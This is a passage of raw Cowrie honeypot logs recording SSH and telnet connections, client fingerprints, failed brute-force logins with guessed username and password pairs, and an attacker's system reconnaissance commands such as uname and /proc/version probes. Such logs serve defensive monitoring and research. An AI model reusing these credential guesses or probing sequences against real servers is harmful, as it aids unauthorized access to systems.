'===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.618642Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.621780Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.624483Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.626985Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.630444Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.632743Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.635368Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.638174Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.641969Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.645613Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.737561Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:11.823597Z","src_ip":"91.92.40.4","session":"c428e645fd02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:12.190510Z","src_ip":"160.187.174.22","session":"45871c9c469e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:13.436377Z","src_ip":"160.187.174.22","session":"45871c9c469e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":53056,"dst_ip":"10.17.0.5","dst_port":22,"session":"48aa6e957ddb","protocol":"ssh","message":"New connection: 199.192.25.149:53056 (10.17.0.5:22) [session: 48aa6e957ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:17.626202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:17.630185Z","src_ip":"199.192.25.149","session":"48aa6e957ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:17.692056Z","src_ip":"199.192.25.149","session":"48aa6e957ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brussels_belgium","password":"brussels123","message":"login attempt [brussels_belgium/brussels123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:17.877362Z","src_ip":"199.192.25.149","session":"48aa6e957ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:18.941450Z","src_ip":"199.192.25.149","session":"48aa6e957ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.892091512680054,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:32.132805Z","src_ip":"170.64.224.25","session":"38b1bacab39b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.722944259643555,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:34.171871Z","src_ip":"170.64.224.25","session":"e417c2ef62c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":38058,"dst_ip":"159.203.135.109","dst_port":22,"session":"37c91978d46b","protocol":"ssh","message":"New connection: 160.187.174.22:38058 (159.203.135.109:22) [session: 37c91978d46b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:38.701937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:38.706347Z","src_ip":"160.187.174.22","session":"37c91978d46b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:38.950097Z","src_ip":"160.187.174.22","session":"37c91978d46b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:39.729763Z","src_ip":"160.187.174.22","session":"37c91978d46b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:40.980910Z","src_ip":"160.187.174.22","session":"37c91978d46b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":37408,"dst_ip":"10.17.0.5","dst_port":22,"session":"66997b332a43","protocol":"ssh","message":"New connection: 162.240.35.200:37408 (10.17.0.5:22) [session: 66997b332a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:52.902737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:52.906551Z","src_ip":"162.240.35.200","session":"66997b332a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:52.995195Z","src_ip":"162.240.35.200","session":"66997b332a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"T@1k0$M@st3r@P@ss","message":"login attempt [root/T@1k0$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:53.265349Z","src_ip":"162.240.35.200","session":"66997b332a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.163395166397095,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:54.764682Z","src_ip":"170.64.224.25","session":"6638d39f3324","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":87.68809175491333,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:48:55.442992Z","src_ip":"170.64.224.25","session":"fda03b6980da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:03.762850Z","src_ip":"162.240.35.200","session":"66997b332a43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":46330,"dst_ip":"159.203.135.109","dst_port":22,"session":"4707c0e8043a","protocol":"ssh","message":"New connection: 160.187.174.22:46330 (159.203.135.109:22) [session: 4707c0e8043a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:05.085637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:05.144458Z","src_ip":"160.187.174.22","session":"4707c0e8043a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:05.322942Z","src_ip":"160.187.174.22","session":"4707c0e8043a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:06.277908Z","src_ip":"160.187.174.22","session":"4707c0e8043a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:07.516283Z","src_ip":"160.187.174.22","session":"4707c0e8043a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":49136,"dst_ip":"10.17.0.5","dst_port":22,"session":"600fbde4620d","protocol":"ssh","message":"New connection: 166.62.89.133:49136 (10.17.0.5:22) [session: 600fbde4620d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:13.288631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:13.292412Z","src_ip":"166.62.89.133","session":"600fbde4620d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:13.357641Z","src_ip":"166.62.89.133","session":"600fbde4620d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brd","password":"brd123","message":"login attempt [brd/brd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:13.552938Z","src_ip":"166.62.89.133","session":"600fbde4620d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:14.619719Z","src_ip":"166.62.89.133","session":"600fbde4620d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":36770,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f2403bd0949","protocol":"ssh","message":"New connection: 132.148.142.226:36770 (159.203.135.109:22) [session: 2f2403bd0949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:30.646007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:30.650154Z","src_ip":"132.148.142.226","session":"2f2403bd0949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:30.718959Z","src_ip":"132.148.142.226","session":"2f2403bd0949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sweden","password":"Stockholm#Ethereum$Cr@zy!","message":"login attempt [sweden/Stockholm#Ethereum$Cr@zy!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:30.920134Z","src_ip":"132.148.142.226","session":"2f2403bd0949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":49204,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c3e056db1b3","protocol":"ssh","message":"New connection: 160.187.174.22:49204 (159.203.135.109:22) [session: 1c3e056db1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:31.838628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:31.842700Z","src_ip":"160.187.174.22","session":"1c3e056db1b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:31.991343Z","src_ip":"132.148.142.226","session":"2f2403bd0949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-25